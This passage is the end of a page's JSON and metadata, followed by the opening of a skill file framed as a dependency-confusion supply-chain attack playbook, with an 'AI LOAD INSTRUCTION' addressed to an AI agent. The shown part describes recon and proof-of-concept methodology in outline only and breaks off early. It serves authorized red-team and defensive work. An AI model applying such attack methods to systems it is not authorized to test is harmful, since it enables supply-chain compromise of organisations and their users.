reconnaissance","type":"text","marks":[{"type":"strong"}]},{"text":", cross-link leaked manifests and internal package identifiers with the checks in ","type":"text"},{"text":"Section 3","type":"text","marks":[{"type":"strong"}]},{"text":" and the decision tree in ","type":"text"},{"text":"Section 7","type":"text","marks":[{"type":"strong"}]},{"text":" before proposing any publish/PoC steps.","type":"text"}]}]}]},{"type":"hr","attrs":{"markup":"---"}}]},"metadata":{"date":"2026-06-05","name":"dependency-confusion","author":"@skillopedia","source":{"stars":853,"repo_name":"hack-skills","origin_url":"https://github.com/yaklang/hack-skills/blob/HEAD/skills/dependency-confusion/SKILL.md","repo_owner":"yaklang","body_sha256":"369468b6e197fa6db3e01e36fe8e01668e8fb585e8f61d22ae3ca52ab5750e06","cluster_key":"b45ff7d2f1c7db5c557ad767d9d63e7c0d230a3acb7ad9811688f19cc7457d34","clean_bundle":{"format":"clean-skill-bundle-v1","source":"yaklang/hack-skills/skills/dependency-confusion/SKILL.md","bundle_sha256":"0731c8bb467b4ccecbece48f8105c01916e75f5d54410c006b9c5a097348435c","attachment_count":0,"text_attachments":0,"binary_attachments":0},"cluster_size":1,"skill_md_path":"skills/dependency-confusion/SKILL.md","import_metadata":{"date":"2026-06-05","author":"@skillopedia","version":"v1","category":"testing-qa","category_label":"Testing"},"exact_dupes_collapsed_into_this":0},"version":"v1","category":"testing-qa","import_tag":"clean-skills-v1","description":"Supply-chain testing via package-manager dependency confusion: when internal package names resolve to attacker-controlled public registries, leading to malicious install and script execution. Use for npm/pip/gem/Maven/Composer/Docker manifest review and authorized red-team supply-chain exercises."}},"renderedAt":1782980675228}

SKILL: Dependency Confusion — Supply Chain Attack Playbook AI LOAD INSTRUCTION : Expert dependency-confusion methodology. Covers how private package names leak, how public registries can win version resolution, ecosystem-specific pitfalls (npm scopes, pip extra indexes, Maven repo order), recon commands, non-destructive PoC patterns (callbacks, not data exfil), and defensive controls. Pair with supply-chain recon workflows when manifests or CI caches are in scope. Only use on systems and programs you are authorized to test. 0. QUICK START What to look for first - Manifests listing package nam…